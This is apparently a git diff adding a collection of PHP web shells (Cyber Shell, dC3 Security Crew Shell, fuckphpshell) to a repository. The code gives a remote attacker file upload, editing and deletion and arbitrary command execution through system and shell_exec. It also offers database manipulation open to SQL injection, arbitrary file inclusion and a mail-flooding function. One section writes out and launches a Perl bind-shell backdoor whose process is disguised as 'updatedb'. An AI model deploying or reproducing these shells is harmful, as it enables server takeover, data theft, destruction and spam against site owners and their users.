+sort($files);
+echo <<< EOF
+";
+if (count($dirs)==0 && count($files)==0){
+echo <<< EOF
+
+EOF;
+}}
+
+$edit=$_REQUEST[edit];
+if (isset($_REQUEST[edit]) && (!empty($_REQUEST[edit])) && (!isset($_REQUEST[ashtml])) ){
+$file=fopen($edit,"r") or die ("Íåò äîñòóïà ê ôàéëó $edit");
+if (filesize($edit) > 0)
+$tfile=fread($file,filesize($edit)) or die ("Íåò äîñòóïà ê ôàéëó $edit");
+else $tfile = "";
+fclose($file);
+$tfile = htmlspecialchars($tfile,ENT_QUOTES);
+echo "
+
+";
+$mydir=updir($edit);
+echo "
+Âåðíóòüñÿ ê $mydir/
+Âû ðåäàêòèðóåòå ôàéë : $edit
+Ïðîñìîòðåòü ýòîò ôàéë â âèäå HTML
+
+$tfile
+
+";
+if (!isset($_REQUEST[readonly]))
+echo " ";
+echo "
+
+
+
+";
+}
+if (isset($edit) && (!empty($edit)) && (isset($ashtml))){
+$mydir=updir($edit);
+echo "
+
+Âåðíóòüñÿ ê $mydir/
+Âû ïðîñìàòðèâàåòå ôàéë : $edit
+
+";
+readfile($edit);
+echo "
+
+
+";
+}
+
+if (isset($texoffile) && isset($nameoffile))
+{
+$texoffile=unbug($texoffile);
+$f = fopen("$nameoffile", "w") or die ("Íåò äîñòóïà ê ôàéëó $nameoffile");
+fwrite($f, "$texoffile");
+fclose($f);
+$mydir=updir($nameoffile);
+echo " ";
+die;
+}
+
+if (isset($_REQUEST[delfile]) && ($_REQUEST[delfile]!=""))
+{
+$delfile=$_REQUEST[delfile];
+$mydir=updir($delfile);
+$deleted = unlink("$delfile");
+echo " ";
+die;
+}
+
+function deletedir($directory) {
+if ($dir=opendir($directory)) {
+while (($file=readdir($dir))!==false) {
+if ($file=="." || $file=="..") continue;
+if (is_dir("$directory/$file")) {
+deletedir($directory."/".$file);}
+else {unlink($directory."/".$file);}}}
+closedir($dir);
+rmdir("$directory/$file");
+}
+if (isset($_REQUEST[deldir]) && (!empty($_REQUEST[deldir]))){
+$deldir=$_REQUEST[deldir];
+$mydir=updir(updir($deldir));
+deletedir("$deldir");
+echo " ";
+die;
+}
+
+if (isset($show)){showdir("$d");}
+
+{
+if (isset($_REQUEST[tools]))
+echo <<< EOF
+
+
+
+
+.: Äåéñòâèÿ äëÿ äàííîé ïàïêè :.
+
+
+
+
+EOF;
+if (isset($_REQUEST[tools]) or isset($_REQUEST[tmkdir]))
+echo <<< EOF
+
+
+
+EOF;
+
+if (isset($newdir) && ($newdir!=""))
+{
+$mydir=updir($newdir);
+mkdir($newdir,"7777");
+echo " ";
+}
+
+if(@$_GET['rename']){
+echo "RENAME $d/$filetorename ?
+
+
+RENAME $filetorename TO
+
+
+
+";
+@$rto=$_POST['rto'];
+if($rto){
+$fr1=$d."/".$filetorename;
+$fr1=str_replace("//","/",$fr1);
+$to1=$d."/".$rto;
+$to1=str_replace("//","/",$to1);
+rename($fr1,$to1);
+echo "File $filetorename Renamed to $rto ";
+echo " ";}
+echo $copyr;
+exit;
+}
+
+if (isset($tools) or isset($tmkfile))
+echo <<< EOF
+
+
+
+EOF;
+
+if (isset($newfile) && ($newfile!="")){
+$f = fopen("$newfile", "w+");
+fwrite($f, "");
+fclose($f);
+$mydir=updir($newfile);
+echo " ";
+}
+
+if (isset($tools) or isset($tbackdoor))
+echo <<< EOF
+
+
+
+EOF;
+
+if (isset($bfileneme) && ($bfileneme!="") && isset($bport) && ($bport!="")){
+$script="
+#!/usr/bin/perl
+\$port = $bport;
+\$port = \$ARGV[0] if \$ARGV[0];
+exit if fork;
+\$0 = \"updatedb\" . \" \" x100;
+\$SIG{CHLD} = 'IGNORE';
+use Socket;
+socket(S, PF_INET, SOCK_STREAM, 0);
+setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
+bind(S, sockaddr_in(\$port, INADDR_ANY));
+listen(S, 50);
+while(1)
+{
+ accept(X, S);
+ unless(fork)
+ {
+ open STDIN, \"<&X\";
+ open STDOUT, \">&X\";
+ open STDERR, \">&X\";
+ close X;
+ exec(\"/bin/sh\");
+ }
+ close X;
+}
+";
+
+$f = fopen("$d/$bfileneme", "w+");
+fwrite($f, $script);
+fclose($f);
+system("perl $d/$bfileneme");
+echo " ";
+}
+
+if (isset($tools) or isset($tbash))
+echo <<< EOF
+
+
+
+EOF;
+
+if (isset($cmd) && ($cmd!="")){
+echo "";
+system($cmd);
+echo "
";
+}
+
+if (isset($tools) or isset($tupload)){
+$updir="$d/";
+if(empty($go)) {
+echo <<< EOF
+
+
+
+EOF;
+}
+else {
+if (is_uploaded_file($userfile)) {
+$fi = "Çàêà÷åí ôàéë $userfile_name ðàçìåðîì $userfile_size áàéò â äèðåêòîðèþ $updir";
+}
+echo "$fiÍàçàä ê êàòàëîãó ";
+}
+if (is_uploaded_file($userfile)) {
+$dest=$updir.$userfile_name;
+move_uploaded_file($userfile, $dest);
+}}
+
+if ((isset($db_server)) || (isset($db_user)) || (isset($db_pass)) ){
+mysql_connect($db_server, $db_user, $db_pass) or die("íå ìîãó ïîäêëþ÷èòüñÿ ê áàçå");
+}
+
+if ((isset($dbname)) and (isset($table)) )
+{
+foreach($_POST as $var => $val)
+if (substr($var,0,7) == 'newpole'){
+if (substr($var,7,strlen($var)) !== ''){
+$indif=substr($var,7,strlen($var));
+echo " $val ";
+mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
+if ($xvar == "")
+$xvar .= $indif;
+else
+$xvar .= ",".$indif;
+if ($xval == "")
+$xval .= "'$val'";
+else
+$xval .= ",'$val'";
+}}
+
+if ($xvar != ""){
+mysql_query("INSERT INTO $table ($xvar) values ($xval)");
+}
+
+echo "Íàçàä ê ñïèñêó òàáëèö ÁÄ:$dbname ";
+mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
+$re=mysql_query("select * from $table");
+echo "";
+echo " ";
+echo "
+
+
+
+
+
+";
+echo "";
+}
+
+if ((isset($dbname)) and (isset($mtable)) and (isset($pixidname)) and (isset($pixid)) and (isset($del))){
+echo "hello";
+mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
+mysql_query("delete from $mtable where $pixidname='$pixid'");
+echo " ";
+}
+
+if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid)) and (isset($textofmysql))){
+mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
+mysql_query("update $mtable set $var='$textofmysql' where $pixidname=$pixid");
+}
+
+if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid))){
+mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
+$re=mysql_query("select $var from $mtable where $pixidname='$pixid'");
+$res=mysql_fetch_array($re);
+$text=untag($res[$var]);
+
+echo "
+
+$text
+
+
+
+
+
+
+
+
+
+
+Âåðíóòüñÿ ê ñïèñêó
+";
+}
+
+if (isset($showdb) && empty($showtables)){
+$re=mysql_query("show databases");
+echo "";
+echo "Ñïèñîê äîñòóïíûõ ÁÄ:
";
+while($res=mysql_fetch_array($re)){
+echo "$res[0] ";
+}
+echo "
";
+}
+if (isset($showtables) and !empty($showtables)){
+
+if (isset($xlimit)){
+$_SESSION[limit]=$xlimit;
+if (isset($xlenth))
+$_SESSION[lenth]=$xlenth;
+else $_SESSION[lenth]="";
+}
+
+echo "Íàçàä ê ñïèñêó ÁÄ ";
+$re=mysql_query("SHOW TABLES FROM $showtables");
+echo "";
+echo "$showtables - Ñïèñîê òàáëèö:
";
+while($res=mysql_fetch_array($re)){
+echo "$res[0] ";
+}
+echo "
";
+
+if (($_SESSION[lenth]) == "on")
+$ch="checked";
+else
+$ch="";
+
+echo <<< EOF
+
+
+
+
+
+îãðàíè÷åíèå íà êîëè÷åñòâî âûâîäèìûõ ïîëåé:
+
+ Показывать всё
+ Первые 10
+ Первые 20
+ Первые 30
+ Первые 50
+ Первые 100
+ Первые 200
+ Первые 500
+ Первые 1000
+ Первые 5000
+
+ Âêëþ÷èòü îãðàíè÷åíèå íà äëèíó âûâîäèìûõ ïîëåé
+
+EOF;
+if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0"))
+echo " Òåêóùåå îãðàíè÷åíèå: $_SESSION[limit]";
+}
+
+if (isset($tools) or isset($tmysql))
+echo "
+
+
+
+
+.: MySQL :.
+
+
+
+
+
+
+
+
+
+
+
+";
+}
+echo <<< EOF
+.:Cyber Shell (v 1.0):. Copyright © Cyber Lords Community , 2002-2006
+
+
+
+EOF;
+
+$d=tourl($d);
+echo "
+
+
+.: Ñîçäàòü ïàïêó :.
+.: Ñîçäàòü ôàéë :.
+.: Îòêðûòü ïîðò äëÿ ïîäêëþ÷åíèÿ :.
+.: Bash :.
+.: Çàêà÷àòü ôàéë :.
+
+
+";
+}
+die;
+?>
diff --git a/xakep-shells/PHP/dC3 Security Crew Shell PRiV.php.txt b/xakep-shells/PHP/dC3 Security Crew Shell PRiV.php.txt
new file mode 100644
index 0000000..e99383d
--- /dev/null
+++ b/xakep-shells/PHP/dC3 Security Crew Shell PRiV.php.txt
@@ -0,0 +1,1273 @@
+
+"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
+"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
+"ext_wri"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
+"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
+"small_dir"=>
+"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
+"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
+"dir"=>"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAkFBMVEX////MmTT/zGezgRvLmDN/
+f3/AjSi6hyK9iiWgbghra2vCjyr/5oGufBbHlC+jcQuwfhiIiIjJljGcagS1gh24hSCebAaZZwGa
+aAK0gRzvvFfcqUT4xWC8iSRKSkqreRPCwsK/jCeodhDms06lcw23hB/ToDv/1G//4HvFki3/64X/
+95Fqamr//////5n/9I54UBIWAAAAAXRSTlMAQObYZgAAAAFiS0dELc3aQT0AAAAWdEVYdFNvZnR3
+YXJlAGdpZjJwbmcgMi40LjakM4MXAAAAiUlEQVR42oXOxxKCMBgE4CWhVwEp9i4Ekt/3fzuDE0Yd
+D3633dnDAr8su0i/stKi40cmTfnebckXU2GPj8k0U0mui2KIxYu7q1acA2kv1CxWWQ7RWTTbUhAi
+YjaNxppqCZcJGowLlRI+O1FvbKiV8FhFnXGnJgT0n+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uoUccoQc7MHmIirHwSa3ykQMExEkVRUH0VJkoAfoePN
+LB4gFFJyQcCcfBIXbhwohAYUGGRgsMQ9QNhxcYrSACA4olyporJJQTAYmCrSWztEgkcivHkkjWVT
+KECVLCNI5BU2AAEisiJBB8eTTWGAFQEBAOhizrgQGlgEml44rQwwYrgUMIDTlBFQzCyW1RRpsEBM
+llACB+vB1rBwQDohIMs84NBEfCBQcNho4ThDyEQUlvwUCNLS0tLS0tLS0tLS0tLS0tLS32X3K0CG
+YwXud1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1
+yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3
+XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yn
+dcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcp3XKd1yndcpi/Yhm9z//2gAI
+AQIDAT8Q/rB//9oACAEDAwE/EP6wf//Z");
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ echo base64_decode($images[$_GET['pic']]);
+}
+
+$ps=str_replace("\\","/",getenv('DOCUMENT_ROOT'));
+//file_array
+$file_tps=array(
+"img"=>array("jpg","bmp","gif","ico"),
+"act" => array("edit","copy","download","delete"),
+"zip" => array("gzip","zip","rar")
+);
+$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.
+
+if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
+if (empty($surl))
+{
+ $surl = "?".$includestr; //Self url
+}
+$surl = htmlspecialchars($surl);
+ @ob_clean();
+//end
+if (isset($_GET['img'])) {
+ for ($i=0;$i<4;$i++) {
+ if (preg_match("/".$file_tps["img"][$i]."/i",$extn)) {
+ header("Content-type: ".$inf["mime"]);
+ readfile(urldecode($filename));
+ exit;
+
+ }
+ }
+}
+
+
+if (!function_exists(download)) {
+ function download($file) {
+ header('Pragma: anytextexeptno-cache', true);
+ header('Content-type: application/force-download');
+ header('Content-Transfer-Encoding: Binary');
+ header('Content-length: '.filesize($file));
+ header('Content-disposition: attachment;
+ filename='.basename($file));
+ readfile($file);
+ exit;
+ }
+}
+if (isset($_GET['download'])) {
+download($filename);
+exit;
+}
+
+if (isset($_GET['run'])) {
+echo urldecode($_GET['file']);
+include(urldecode($_GET['file']));
+exit;
+}
+
+
+function check_update()
+{
+$cur_ver=5; //very important value for updates!Please dont change!
+$newer=$cur_ver+1;
+$url="http://dc3.dl.am/";
+$file=@fopen($url."".$newer.".txt","r") or die ("No updates aviable!");
+$text=fread($file,1000000);
+if (preg_match("/ver=".$newer."/i", $text)) {
+ echo "[+]Update Aviable!...Please download new version from:";
+echo "Version ".$newer." ";
+} }
+
+function get_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$type = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
+ else {$type = "?";}
+
+ $owner["read"] = ($mode & 00400)?"r":"-";
+ $owner["write"] = ($mode & 00200)?"w":"-";
+ $owner["execute"] = ($mode & 00100)?"x":"-";
+ $group["read"] = ($mode & 00040)?"r":"-";
+ $group["write"] = ($mode & 00020)?"w":"-";
+ $group["execute"] = ($mode & 00010)?"x":"-";
+ $world["read"] = ($mode & 00004)?"r":"-";
+ $world["write"] = ($mode & 00002)? "w":"-";
+ $world["execute"] = ($mode & 00001)?"x":"-";
+
+ if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
+ if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
+ if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
+
+echo $type.join("",$owner).join("",$group).join("",$world);
+}
+
+
+
+if (!function_exists(get_space)) {
+ function get_space($dir) {
+$free = @diskfreespace($dir);
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+$used = $all-$free;
+$used_f = @round(48.7/($all/$free),2);
+echo "".$used_f."";
+ }
+ }
+$sys=strtolower(substr(PHP_OS,0,3));
+echo "
+
+
+ ";
+echo " ";
+echo getenv('SERVER_SOFTWARE');
+echo " ";
+echo getenv('SERVER_NAME');
+echo ":";
+echo getenv('SERVER_PORT');
+echo " ";
+echo getenv('SERVER_ADMIN');
+
+if ($sys=="win") {
+echo "Windows";
+echo " ";
+echo "".getenv('COMPUTERNAME')."";
+echo " ";
+echo "Os:".getenv('OS')."";
+} else {
+echo " Linux";
+}
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+$safe=1;
+echo "ON (secure) ";
+ } else {
+$save=2;
+if ($sys=="win") {
+echo "Off (not secure) ";
+}
+}
+if (isset($_GET['file'])) {
+echo " Access:";
+if (@is_readable($j_f)) {
+ echo "R";
+}
+if (@is_executable($j_f)) {
+ echo "E";
+}
+if (@is_writable($j_d)) {
+echo "W";
+}
+echo " Current_file:";
+echo "".$p." ";
+ }
+echo " ";
+echo "Start_dir:";
+echo " ";
+echo "".$ps." ";
+echo " ";
+if (isset($_GET['file'])) {
+echo "Free Space:";
+get_space(urldecode($_GET['file']));
+
+echo "gb";
+}
+echo " ";
+?>
+
+
+
+R";
+ }
+ if (@is_executable($file)) {
+ echo "E ";
+ }
+ if (@is_writable($file)) {
+ echo "W ";
+ }
+ } else {
+ echo "[-]Error";
+ }
+ }
+ }
+
+if (!function_exists(search_file)) {
+ function search_file($search,$dir) {
+ global $word;
+ global $surl;
+ $d_s=opendir($dir);
+ while (false !== ($file_s = readdir($d_s))) {
+ if (preg_match("/".$search."/i",$file_s)) {
+ echo "".$file_s." ";
+ }
+ }
+ }
+ }
+
+
+if (!function_exists(copy_file)) {
+ function copy_file($file,$to) {
+ if (@file_exists($file)) {
+ @copy($file,$to) or die ("[-]Error copying file!");
+ echo "Successfully copied file!";
+ } else {
+ echo "[-]File Doesnt exist!";
+ }
+ }
+ }
+
+if (!function_exists(send_mail)) {
+ function send_mail($from,$to,$text,$subject,$times) {
+ while ($i<$times) {
+ $i++;
+ $header = "From: $from\r\n";
+ @mail($to, $subject, $text, $header) or die ("[-]Error sending mail(s)!");
+
+ }
+ echo "Successfully sent mail(s) to ".$to."!";
+ }
+ }
+
+
+if (!function_exists(read_file)) {
+ function read_file($file) {
+$file=@fopen($file,"r");
+echo fread($file,10000);
+fclose($file);
+ }
+ }
+
+if (!function_exists(write_file)) {
+ function write_file($file,$text) {
+ if (@is_writable($file)) {
+ if (@file_exists($file)) {
+ $file_w=@fopen(urldecode($file),"w") or die ("[-]Error");
+ if (fwrite($file_w,$text)) {
+ echo "Successfully written to file(s)!";
+ }
+ }
+ }
+ else {
+ echo "[-]Error";
+ exit;
+ }
+ }
+ }
+
+
+
+if (!function_exists(count_all)) {
+ function count_all($dir) {
+ $c_d=opendir($dir);
+ while (false !== ($file_c = readdir($c_d))) {
+ if (@filetype($dir."/".$file_c)=="file") {
+ $file_c_s++;
+ }
+ else
+ {
+ $dir_c++;
+ }
+ }
+ echo "Directories:";
+ echo $dir_c++;
+ echo "||";
+ echo "Files:";
+ echo $file_c_s;
+ }
+}
+
+if (!function_exists(check_access)) {
+ function check_access($file) {
+ if (@is_readable($file)) {
+ echo "R";
+ }
+ if (@is_executable($file)) {
+ echo "E";
+ }
+ if (@is_writable($file)) {
+ echo "W";
+ }
+ }
+ }
+
+if (!function_exists(clear_dir)) {
+ function clear_dir($dir) {
+$o_d=opendir($dir);
+ while (false !== ($file = readdir($o_d))) {
+ if (@filetype(urldecode($_GET['file'])."/".$file)=="file") {
+unlink(urldecode($dir)."/".$file) or die ("[-]Error @ file:".$file."");
+ }
+ }
+echo "Successfully cleared directory!";
+ }
+ }
+
+?>
+
+
+
+
+ ";
+check_update();
+exit;
+}
+if (isset($_GET['rmdir'])) {
+echo "
+
+
+ ";
+@rmdir($_GET['file']) or die ("[-]Error deleting dir!");
+echo "Successfully deleted dir(s)!";
+exit;
+}
+
+
+if (isset($_GET['upload'])) {
+$uploaddir = urldecode($_POST['file']);
+
+print "";
+if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir ."/". $_FILES['userfile']['name'])) {
+echo "
+
+ ";
+ print "Successfully uploadet file(s)!";
+} else {
+echo "
+
+ ";
+ print "[-]Error";
+}
+exit;
+}
+
+if (isset($_GET['search'])) {
+echo "
+
+
+ ";
+search_file($_POST['search'],urldecode($_POST['dir']));
+exit;
+}
+
+
+
+
+if (isset($_GET['getenv'])) {
+echo "
+
+ ";
+echo getenv($_GET['getenv']);
+exit;
+}
+
+
+if (isset($_GET['php_info'])) {
+echo "
+
+ ";
+phpinfo();
+exit;
+}
+
+if (isset($_GET['defined_vars'])) {
+echo "
+
+ ";
+echo "";
+$vars=get_defined_vars();
+print_r($vars);
+echo " ";
+
+exit;
+}
+
+if (isset($_GET['env'])) {
+echo "
+
+
+ ";
+$ary=get_defined_vars();
+$it=array_keys($ary);
+foreach ($it as $i) {
+echo "".$i." ";
+
+}
+exit;
+}
+
+if (isset($_GET['play'])) {
+echo "";
+exit;
+}
+
+
+if (isset($_GET['special_crypt'])) {
+echo "
+
+ ";
+echo "";
+if (isset($_POST['submit'])) {
+$file=@fopen($_FILES['userfile']['tmp_name'],"r") or die ("[-]Error reading file!");
+$meth=$_POST['crypt'];
+if ($meth=="1") {
+echo htmlspecialchars(md5(fread($file,10000)));
+ } elseif ($meth=="2") {
+ echo htmlspecialchars(crypt(fread($file,10000)));
+}
+ elseif ($meth=="3") {
+ echo htmlspecialchars(sha1(fread($file,10000)));
+ }
+elseif ($meth=="4") {
+ echo htmlspecialchars(crc32(fread($file,10000)));
+}
+ elseif ($meth=="5") {
+ echo htmlspecialchars(urlencode(fread($file,10000)));
+}
+
+ elseif ($meth=="6") {
+ echo htmlspecialchars(urldecode(fread($file,10000)));
+}
+ elseif ($meth=="7") {
+ echo htmlspecialchars(base64_encode(fread($file,10000)));
+}
+
+elseif ($meth=="8") {
+ echo htmlspecialchars(base64_decode(fread($file,10000)));
+}
+
+}
+echo " ";
+
+?>
+
&&special_crypt method="post">
+file:
+
+
+ md5();
+ crypt();
+ sha1();
+ crc32();
+ urlencode();
+ urldecode();
+ base64_encode();
+ base64_decode();
+
+
+
+ ";
+?>
+?&&crypt method="post">
+Crypt:
+
+
+
+md5: >
+
+crypt: >
+
+sha1: >
+
+crc32: >
+
+urlencode: >
+
+urldecode: >
+
+base64_encode: >
+
+base64_decode: >
+ ";
+exit;
+}
+
+if (isset($_GET['php_code'])) {
+echo "
+
+ ";
+?>
+&&php_code method="post">
+
+
+
+
+";
+echo " ";
+exit;
+}
+
+if (isset($_GET['search_st'])) {
+ if (isset($_POST['search'])) {
+search_file($_POST['search'],$_POST['dir']);
+ }
+exit;
+}
+
+
+if (isset($_GET['rename_all'])) {
+echo "
+
+ ";
+rename_all(urldecode($_POST['d']),$_POST['prefix'],$_POST['name'],$_POST['del']);
+exit;
+}
+
+if (isset($_GET['special_d'])) {
+echo "
+
+ ";
+ $way=$_POST['way'];
+ if ($way=="1") {
+clear_dir($_GET['file']);
+ exit;
+ }
+ if ($way=="2") {
+echo "
+
+
+ ";
+?>
+?&&rename_all method="post">
+Prefix:
+Name:
+ >
+Delete old files?:
+
+
+
+ ";
+?>
+
+?&&special_d&file= method=post>
+ Clear Dir >
+ Rename with prefix
+
+
+
+ ";
+ @unlink($filename) or die ("[-]Error deleting file!");
+ echo "Successfully Deleted File!";
+ exit;
+ }
+}
+
+if (isset($_GET['save'])) {
+echo "
+
+
+ ";
+ write_file(urldecode($_POST['file']),stripslashes($_POST['text']));
+
+ exit;
+}
+
+if (isset($_GET['exec'])) {
+echo "
+
+ ";
+@chdir(urldecode($_POST['dir']));
+echo "";
+echo shell_exec($_POST['command']);
+echo " ";
+exit;
+}
+
+
+if (isset($_GET['mkdir'])) {
+ if (isset($_POST['name'])) {
+echo "
+
+ ";
+ mkdir(urldecode($_POST['dir'])."/".$_POST['name']) or die ("[-]Error creating dir!");
+ echo "Successfully created dir!";
+ }
+exit;
+}
+
+if (isset($_GET['mkfile'])) {
+ if (isset($_POST['name'])) {
+echo "
+
+
+ ";
+$dir=urldecode($_POST['dir']);
+$filed=$_POST['name'];
+
+ if (@file_exists($dir."/".$filed)) {
+ echo "[-]Allready exists!";
+ exit;
+ }
+ $file_c=@fopen($dir."/".$filed,"w") or die ("[-]Can't create file!");
+ echo "Scuessfully created file(s)!";
+ }
+exit;
+}
+
+if (isset($_GET['edit'])) {
+echo "
+
+ ";
+ if (@file_exists($filename)) {
+ echo "";
+ read_file($filename);
+ echo " ";
+ }
+ exit;
+}
+
+
+
+if (isset($_GET['copy_start'])) {
+echo "
+
+ ";
+copy_file($_POST['from'],$_POST['to']);
+exit;
+}
+
+
+
+if (isset($_GET['copy_file'])) {
+echo "
+
+
+ ";
+?>
+?&©_start method="post">
+New:
+Old:
+
+
+
+
+ ";
+if (isset($_POST['from']))
+{
+if (isset($_POST['to']))
+{
+if (isset($_POST['text']))
+{
+if (isset($_POST['subject']))
+{
+if (isset($_POST['times']))
+{
+send_mail($_POST['from'],$_POST['to'],$_POST['text'],$_POST['subject'],$_POST['times']) ;
+exit;
+}
+}
+}
+}
+}
+}
+if (isset($_GET['send_mail'])) {
+echo "
+
+ ";
+?>
+?&&send_mail_st method="post">
+From:
+To:
+Subject:
+Times:
+
+Text:
+
+
+
+ ";
+ echo " ";
+ exit;
+} }
+
+
+
+if (@filetype($j_f)=="file") {
+echo "
+ ";
+highlight_file($j_f);
+
+exit;
+}
+echo "
+
+
+
+ ";
+count_all($j_d);
+echo " ";
+echo "
+
+
+ Filename Edit Copy Download Delete Perms Access ";
+
+
+
+
+$o_d=opendir($j_d);
+
+
+
+ while (false !== ($file = readdir($o_d))) {
+ echo "
+
+
+ ";
+if (@filetype($j_d."/".$file)=="dir") {
+echo "[".$file."]";
+} else {
+echo " ";
+echo $file;
+}
+echo " ";
+if (@filetype($j_d."/".$file)=="file") {
+echo "[Edit]";
+}
+else {
+echo " [-]";
+}
+echo " ";
+if (@filetype($j_d."/".$file)=="file") {
+echo "[Copy]";
+} else {
+echo " [-]";
+}
+echo " ";
+if (@filetype($j_d."/".$file)=="file") {
+echo "[Download]";
+} else {
+echo " [-]";
+}
+echo " ";
+if (@filetype($j_d."/".$file)=="file") {
+echo "[Delete]";
+} else {
+echo " [Delete] ";
+}
+echo "";
+echo @fileowner($j_f."/".$file);
+echo " ";
+echo "";
+get_perms(fileperms($j_f."/".$file));
+echo " ";
+echo " ";
+ }
+echo "
+
+
+
+ ";
+?>
+&&upload method="post">
+file:
+ >
+ [Ok]";
+ } else {
+echo "[No] ";
+ }
+?>
+
+
+
+
+
+ ";
+?>
+&&search method="post">
+search:
+ >
+
+
+
+
+
+
+ ";
+?>
+?&&mkdir method="post">
+name:
+ >
+
+
+[Ok]";
+ } else {
+echo "[No] ";
+ }
+echo "
+
+
+
+ ";
+?>
+&&mkfile method="post">
+name:
+ >
+
+
+[Ok]";
+ } else {
+echo "[No] ";
+ }
+echo "
+
+
+
+ ";
+?>
+&&exec method="post">
+command:
+ >
+
+
+
+
+
+
+ Special DirOptions ";
+echo "";
+exit;
+ }
+?>
+
+
+
+
+
+
+
+
+
+
+?&&exec_st method="post">
+
+
+
+
+
+ shell_exec();
+ system();
+ passthru();
+ automatic();
+
+";
+exit;
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/framer.zip b/xakep-shells/PHP/framer.zip
new file mode 100644
index 0000000..dec3c03
Binary files /dev/null and b/xakep-shells/PHP/framer.zip differ
diff --git a/xakep-shells/PHP/fuckphpshell.php.txt b/xakep-shells/PHP/fuckphpshell.php.txt
new file mode 100644
index 0000000..9e14e5d
--- /dev/null
+++ b/xakep-shells/PHP/fuckphpshell.php.txt
@@ -0,0 +1,322 @@
+ "ls -la",
+ "rf" => "rm -f",
+ "unbz2" => "tar -xjpf",
+ "ungz" => "tar -xzpf"
+);
+
+
+
+if (!$_SESSION['user']) {
+
+ $pr_login = "Login:\n";
+ $pr_pass = "Password:\n";
+ $err = "Invalid login!\n\n";
+ $succ = "Warning!
+Don`t be stupid .. this is a priv3 server, so take extra care!!!\n\n";
+
+ if ($_SESSION['login'] && $_POST['cmd']) { // WE HAVE USERNAME & PASSWORD
+
+ $_SESSION['output'] .= $pr_pass;
+
+ if (in_array($_SESSION['login'], $user)) { //........ USERNAME EXISTS
+
+ $key = array_search($_SESSION['login'], $user);
+
+ if ($pass[$key] != md5($_POST['cmd'])) { //....... WRONG PASSWORD
+ $_SESSION['output'] .= $err;
+ unset($_SESSION['login']);
+ $prompt = $pr_login;
+
+ } else { //..................................... SUCCESSFUL LOGIN
+ $_SESSION['user'] = $_SESSION['login'];
+ $_SESSION['whoami'] = substr(shell_exec("whoami"), 0, -1);
+ $_SESSION['host'] = substr(shell_exec("uname -n"), 0, -1);
+ $_SESSION['dir'] = substr(shell_exec("pwd"), 0, -1);
+ $_SESSION['output'] .= $succ;
+ $prompt = set_prompt();
+ unset($_SESSION['login']);
+ }
+
+ } else { //......................................... NO SUCH USERNAME
+ $_SESSION['output'] .= $err;
+ unset($_SESSION['login']);
+ $prompt = $pr_login;
+ }
+
+ } else { //................................................ LOGIN PROCESS
+
